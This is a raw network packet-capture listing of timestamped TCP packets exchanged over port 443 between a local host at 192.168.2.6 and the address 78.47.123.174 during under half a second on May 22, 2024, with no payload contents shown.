May 22, 2024 18:28:06.536823034 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.536835909 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.542674065 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.542695999 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.542757034 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.542764902 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.542804003 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.547789097 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.547808886 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.547849894 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.547858000 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.547885895 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.547907114 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.553137064 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.553164005 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.553284883 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.553313971 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.553350925 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.556845903 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.556889057 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.556931973 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.556941032 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.556986094 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.561461926 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.561502934 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.561534882 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.561544895 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.561559916 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.561582088 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.566565990 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.566596985 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.566627979 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.566636086 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.566668987 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.570444107 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.570463896 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.570502043 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.570508957 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.570533991 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.570539951 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.580591917 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.580620050 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.580684900 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.580692053 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.580707073 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.580727100 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.587518930 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.587546110 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.587599039 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.587608099 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.587621927 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.587656975 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.589287043 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.589322090 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.589355946 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.589361906 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.589375019 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.589395046 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.596333027 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.596357107 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.596487999 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.596510887 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.596553087 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.601226091 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.601253033 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.601310968 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.601319075 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.601355076 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.605137110 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.605185032 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.605211973 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.605220079 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.605241060 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.605261087 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.610065937 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.610109091 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.610138893 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.610146999 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.610169888 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.610193014 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.611840963 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.611882925 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.611912012 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.611922026 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.611932993 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.611952066 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.615087986 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.615130901 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.615159035 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.615164995 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.615190029 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.615207911 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.617784023 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.617841005 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.617872000 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.617878914 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.617896080 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.617914915 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.620116949 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.620162010 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.620189905 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.620197058 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.620215893 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.620232105 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.623641014 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.623684883 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.623717070 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.623723984 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.623742104 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.623759985 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.632282019 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.632344007 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.632381916 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.632390976 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.632409096 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.632433891 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.636168003 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.636223078 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.636248112 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.636254072 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.636271000 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.636288881 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.640649080 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.640700102 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.640731096 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.640738964 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.640753031 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.640770912 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.644273043 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.644316912 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.644347906 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.644355059 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.644372940 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.644392014 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.648228884 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.648252964 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.648303986 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.648310900 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.648344040 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.652889967 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.652913094 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.652955055 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.652961016 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.652977943 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.653002024 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.659832954 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.659862041 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.659928083 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.659936905 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.659974098 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.661998987 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.662033081 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.662071943 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.662077904 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.662100077 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.662122965 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.665050983 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.665079117 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.665116072 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.665122986 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.665142059 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.665163994 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.668509960 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.668534040 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.668571949 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.668577909 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.668595076 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.668617010 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.674094915 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.674145937 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.674181938 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.674190044 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.674206018 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.674223900 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.678267002 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.678325891 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.678344011 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.678353071 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.678375959 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.678495884 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.692980051 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.693068027 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.693082094 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.693095922 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.693126917 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.693146944 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.696897030 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.696952105 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.696974993 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.696984053 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.697001934 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.697031975 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.699234009 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.699284077 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.699311972 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.699318886 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.699336052 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.699350119 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.703692913 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.703737020 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.703771114 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.703779936 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.703802109 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.703818083 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.707660913 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.707706928 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.707745075 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.707763910 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.707772017 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.707797050 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.710454941 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.710531950 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.710534096 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.710544109 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.710581064 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.715534925 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.715553999 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.715615988 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.715626001 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.715754986 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.722984076 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.723051071 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.723086119 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.723107100 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.723114967 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.723140001 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.725744963 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.725773096 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.725816011 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.725822926 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.725845098 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.725858927 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.728995085 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.729020119 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.729063034 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.729069948 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.729090929 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.729110003 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.739695072 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.739726067 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.739834070 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.739845991 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.739881992 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.752774000 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.752804041 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.752882957 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.752892017 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.752938032 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.766738892 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.766779900 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.766809940 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.766849041 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.766860962 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.766884089 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.776140928 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.776191950 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.776215076 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.776222944 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.776290894 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.778300047 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.778342962 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.778364897 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.778372049 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.778397083 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.778412104 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.792160988 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.792212963 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.792243004 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.792249918 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.792273998 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.792289019 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.797600031 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.797643900 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.797683954 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.797689915 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.797740936 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.797751904 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.817749023 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.817790985 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.817817926 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.817826033 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.817846060 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.817861080 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.833872080 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.833914995 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.833961964 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.833971024 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.833997965 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.834014893 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.866184950 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.866211891 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.866302967 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.866314888 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.866357088 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.869041920 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.869061947 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.869118929 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.869127035 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.869163990 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.871887922 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.871907949 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.871953011 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.871959925 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.871985912 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.872008085 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.875468016 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.875513077 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.875543118 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.875550032 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.875569105 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.875591993 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.884830952 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.884902000 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.885034084 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.885040998 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.885077000 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.890650034 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.890703917 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.890738964 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.890746117 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.890763044 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.890784025 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.911776066 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.911823988 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.911870003 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.911880016 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.911916018 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.925412893 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.925461054 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.925493956 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.925501108 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.925518036 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.925540924 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.942851067 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.942898035 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.942930937 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.942939043 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.942959070 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.942976952 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.955380917 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.955425978 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.955631018 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.955631018 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.955640078 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.955682993 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.960644960 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.960688114 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.960720062 CEST	49706	443	192.168.2.6	78.47.123.174
